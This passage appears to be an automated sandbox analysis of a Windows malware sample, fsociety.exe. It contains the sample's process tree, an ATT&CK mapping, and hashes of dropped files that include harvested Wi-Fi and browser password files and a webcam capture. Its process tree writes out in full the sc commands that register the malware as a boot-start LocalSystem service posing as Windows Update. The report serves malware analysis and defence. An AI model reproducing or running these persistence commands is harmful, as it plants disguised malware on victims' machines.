      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:7732
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:7716
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:7528
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:7748
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      Launches sc.exe
      PID:7820
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:7312

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:2012
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:5836
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:632
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:6352
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:2872
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:6620
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1412
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:6972
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6724
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:6824
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:4940
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:6960
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6844
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:5168
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:7508
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:7360
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:5888
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:3628
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:7944
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      Launches sc.exe
      PID:6008
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:7712
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:7052
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:7448

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:5224
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:3620
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:3792
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:5992
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6940
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:976
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5844
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:7028
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:6700
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:4664
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:7332
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:6792
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:2280
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:7820
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:7172
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:976
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:4752
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      Launches sc.exe
      PID:5508

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:6464
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7016
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6196
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:7048
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6728
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:5320
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7128
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:6316
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:1708
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:6980
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5432
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:6792
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7632
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:4768
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:7892
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      Launches sc.exe
      PID:7440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:4592
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:6512
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:648
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:1368
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:7808

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:6768
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6756
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:4760
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:6376
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:7160
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4076
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5376
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:6180
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:7244
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:5560
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6244
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:7660
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6608
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:5244
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:7328
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:7056
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:984

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:5384
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6864
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6376
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      Launches sc.exe
      PID:5432
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6960
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:6540
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7348
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:3548
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:8012
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:7280
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:3936
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:5676
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5676
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:7868
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:7464
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:6788

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:6352
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7412
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:7424
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:984
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:7056

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:1680
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7184
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:7296
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:6176
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6808
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:5512
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5400
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:8156
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:7608
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:7020
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6152

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:6536
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6228
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:4344
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:7708
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:7680
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4216
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1700
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:7020
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7636

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:8128
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:8152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
Size 2KB
SHA256 c74f351e43b02c849346682e89bda4b9a629ba690c55bc73682300d8e9e89d82
MD5 19c2671e7d109dea7cad0a11e595d165
SHA1 30c333c2df641247b36e9b81064b0edbef50df80
SHA512 13884a4a607444720ec4f97ceb2cc4152b40467b56c70a3f565ea00b6c9261e234ec2a357b79a94bac83752bd10df03b3ff04dbcd728b29765a9cf1ee7b7d2fd
TLSH
T15D414CE2C89815304E0B81537FD9D0333EB2F0C009C2F1763898715A0D8BEDE6A5482D
MD5 SHA1 SHA512 TLSH

Submit Download

07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
Size 484B
SHA256 a805a05282981c8b91fe9cc04da0a0c1bbb9ab3101135151d024f5b73ef06ba9
MD5 e771ad2bfc1ce9f25e88f36ffbd9b8ba
SHA1 9ebc1eea9547beda188889adf5f4d4b944a7012b
SHA512 89778cf3abeab2bdb03c6ff08c82d9192c094a0761f1b41ab36be9c2a3405869b947225a063c488a212d54eb7384879f6f62b82c04e90f401b9440f7e9217e96
TLSH
T1ABF0AB3831FE011EF4799CB98AFC8AE3A529F2632D040F6E0FA00349AD12F00CCB2511
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 021636a793f57f23b16356c5b84fdf0122fdcadfaba305e4df4654bfbfa442bd
MD5 614f88cf39eb3223246afec4bf1463b4
SHA1 74d738ee6fdada75ac1ef1645073005e3f6b6cfb
SHA512 84a7151e0471e659699a15c25d9063af1975e79bb5f23de6b3bc0d3b96cd161d70ad35f6acdbc8123b38bac9918df8b202bd6f1f4ca8061919074973e6063a77
TLSH
T1A471DD313276B1D8C9163F071E2919C053BF4356EA94AF1CB698625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 189fc50ea3408d874563a702817673c427f26d3413c136a1193304eaf2b5903f
MD5 68ad1c374ab3462ca4158cbc5821a969
SHA1 1ae34483762b65c86ad18f16f2c3840b1ffcce58
SHA512 03df93cb4dc37eac516e4cf19fc5ef8036c7226b892c58509e336c53cf1ce0f3ee7dee33ede36d77ccea05b82dd9dc5fe022e6f2169add3503e54f18d2cc4936
TLSH
T10C216623B39C8921CC8A113A409DAC1032B683D741AEDE9F6FC5D604E17F584CF72190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b73506b61eb7fbcfbfd0e662cdfe56db9ec639419d9dc1ec67d63f1d8b87633c
MD5 d9f4f191816158e9c68c7cf11c3ca6ba
SHA1 3f4b6becffe3e7a41cf153a4ec41e404d5eee58a
SHA512 fd385da47b336991e451f4eac95aa1edfca6d1458cc539fefd84e2b33a6321f7dd90680bff8b1ab0b1b15caa454f70745ccc8d825168b4f5d9666fa7f93d40e0
TLSH
T1FB216633B38C8961CC8A113A409EAC1032B683D741AEDE9F6FC1D604E17F484CB72190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 57b78187a723e5e7597ea51d380829b9267a31d7370f01f91112a2b540f144c0
MD5 14469df16c989bb6800c739146654fa9
SHA1 41f3c6503d23a182b06d1b476b323264f22256e4
SHA512 f4b40b2cae9b3c14e759c862c8fdc833db839fd694afc744c0a21bbed573f3c7b73c73de951bad52ff1b290586e98098012c230e16ee0a6a9cf257e3bac54289
TLSH
T133216333B38C8921CC9A113A449EAC1032B683D741AEDE9F6FC1D604E57F888CB721A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7c7c73b8591130fe6bcc126813667203dc77a394e052d9c1a15da63ad4026208
MD5 d2f62a3d4c1d2e36bbec97ca76a00433
SHA1 772ac1c4520ababf284b7b3a112452abfe28b597
SHA512 bfe3c7dd76b3ddb4f64297ef5aba62f92a5b46ad63e06f516ef7af4401554f620202ff172ffc6d7edb1a2e596d7215b9c4e1234c952fc82557d30b4176c77b89
TLSH
T19631DA27F39C84E1CC85063A059D9C20777692D341DECFDBABC4E604A4BF598CF21180
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_y0wwhzaq.hzg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y0wwhzaq.hzg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tokyocore_data.zip

Path C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip
Size 266B
SHA256 56c56742382e34e0c7477631fe503d823a473083ba58646fe325774886517559
MD5 f20e243216c9025c0a55b671b1520d38
SHA1 14d6d76a2d79ebf4b1919bbbe5f8f7679125dbca
SHA512 0b0a98c8227e0ac59a59a999401ca16ff76c9977e06447d0bb70536817bd4954c9e900e21c01eb8afd8cfe9ee331317f404e2d58f4807b0b2b85acffc1df38e7
TLSH
T1C0D02E2AC8BB9876E406E070012589046E51EC0AEF0FA20E863A1500488488538CE880
MD5 SHA1 SHA512 TLSH

Submit Download

tokyocore_data.zip

Path C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip
Size 436B
SHA256 93ba39797d0d8b0e8b94945830a6e96ac22689dc571fc8908e844e846c95496d
MD5 65d9b4969d5ef862d3de8c332d40d306
SHA1 1aabb88655b6c4cf4977c947df1fae0e2c6101f8
SHA512 e5e99ac9ccb663f159200c87679c93b426ba90e445c18485ab843aa5a000b807c10571b7b49e4ec797225177045641cccad7a08aa179d09b36e016e7e6fef4f4
TLSH
T1DDE06505429D6C23D08FA3780FFA7D1DB5986A190F2F200E076B04896D05A824E6BD4E
MD5 SHA1 SHA512 TLSH

Submit Download

tokyocore_data.zip

Path C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip
Size 872B
SHA256 9a9949ae1b8ed02a3a073fb4b9b9d2954a5a9e56e18237d3f4e3df6cbd0eb029
MD5 f85c45c7a711d3720717885f9dd5c878
SHA1 5e3c79f043a527c198315e7ef1795a00bb275c83
SHA512 690476fb9649987e71083f97efbe8ee022560e524466b141304b74fac4ab743d28b66c65d90768132405c495fbee6857af05779b006d0610c3d571160b9fd8de
TLSH
T161116B0557DDA423C09FA33C0EA5A959E4A86E4A1B1BB00F06ED08895C45A054A3EE0E
MD5 SHA1 SHA512 TLSH

Submit Download

SystemInfo.json

Path C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240702500\System\SystemInfo.json
Size 175B
SHA256 bc8071ccba0cccc37f3321195ace345b72bbf120cb7a867adaeece64fdf06adf
MD5 51993a86d736c2081503abf178c82b13
SHA1 e7a3c0d863b88f1aeff9cdce7d8580b1ba4e22b3
SHA512 eb63036a9bddc56e509b09db00234d87104102de8378a2c47ec1282bfb10794df2e628b21745cc6d1227f2f44a74a7e9dde89fd8678d289b40749b5585a99822
TLSH
T1EBC08C68820EAB256271D140048FB08E45EED08319E8FD6982BEEF48536E051EB2AE21
MD5 SHA1 SHA512 TLSH

Submit Download

WiFi_Passwords.json

Path C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240702500\System\WiFi_Passwords.json
Size 60B
SHA256 22ac04a93238064f073bb183745111f4af4f0c3c788b96f967d2bb5bddcb6b50
MD5 f1b9adb70b1506945ee175e18da6dd17
SHA1 ccef4de5e3fbf3f623f26875ebeb1717aea53112
SHA512 6575fd767181be4b40056cf50358d8371296e63ead975e1c36d0514503ce82deb4e17e9f4faa91ed9c9a5dd1cfcd80a063e69bc2d3bb7819e7e51c172a0b131e
TLSH
T1B6A00247848EAD4384ABFB863552463070458903666B81100775DA4EA13B9C750C5003
MD5 SHA1 SHA512 TLSH

Submit Download

Browser_Passwords.json

Path C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240708078\Browsers\Browser_Passwords.json
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

webcam_240702562.png

Path C:\Users\Admin\AppData\Local\Temp\webcam_240702562.png
Size 1KB
SHA256 afb583c9e247fbe8d2342e2637e66a8c16f6b97ae378cb15e5d221f2f3b76dae
MD5 8449988bcbd1b1fff4edb727eff067f8
SHA1 756a48a9ebf02ea7c3df7eaa410f5e82a15c93db
SHA512 8b35e04eab30692469b47e91302bdd0ddc130d3fd4d93ab3b18f29351960cac3bbf1cf029f3165b9ba74d7c529a3c41eb06d30ac5c992d5bf3d61d3564fd819b
TLSH
T12E212BC34F5B8C7CCC4F0B3352DB009058F532DF201170042E3B900420246DC0543703
MD5 SHA1 SHA512 TLSH

Submit Download

bootexec.bat

Path C:\Windows\System32\bootexec.bat
Size 102B
SHA256 aee2c039cca15b2d5af969fab50bbc1917db86233c41d54f7248455214da1d19
MD5 0500078396690c38afbe334642a26ce8
SHA1 3e79640bfa157e2c980bbd4274d3a81a74b3e859
SHA512 1ee19669a20c4d8795d863c182358e7b048fa02c0f27e7065cfc3272da972a72cce97773cf6dbb26bfd97602ae940a88986976d31c162d1453eb81956c668312
TLSH
T132B0122614E8224013F38CF50020593003747A5D0C7BC58C46805E8C04D0210E431B47
MD5 SHA1 SHA512 TLSH

Submit Download

fsociety.exe

Path C:\Windows\System32\fsociety.exe
Size 3.3MB
SHA256 386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc
MD5 d77aa7f5bf7c008232f4cbec127c30db
SHA1 3701617822f99debbf2579602b32eb99034581ad
SHA512 dca182637bcc510cfba855040df4f422c30b7c42af48351281534fde1804341bb7359d3c0e61c3cde8085273c1ad8387e248ab49bb92fce3724aa96c9a4615c9
SSDEEP 24576:i7MuEwvKJEdcI63li+WsOxP5g2IvMJJHfO2NprH2K:sMupsvBWsOxPVZJWEzP
TLSH
T12EF5D91BF7B610D5E1BAC039D553622AFC7134A6833C97EB92818E491B60BE4EE3D750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jester.png

Path C:\Windows\System32\jester.png
Size 33KB
SHA256 faa24ec881e6040655c187a681d6dc496eb8aa41e1bd0652a180b3a40b457187
MD5 f953f499c9824953791551bfef65fe61
SHA1 00fbf8d23d0e9549798383179c9b0eae5d653f9f
SHA512 07bf316d186ac8d6eb8cf860fd0dbce854ae74ae26276be3950bd32b06894c7b24268280d504bb490218c5ec0e85b4eeb7e858011dcf4de64bbb06e4eb296fca
SSDEEP 768:Pr8FwJ2kfmG7rCq0GJtSBVRF0UGuEuOZejwpiUCTVwiYz:PVJ3fd7rCqduSduOZnIVVwvz
TLSH
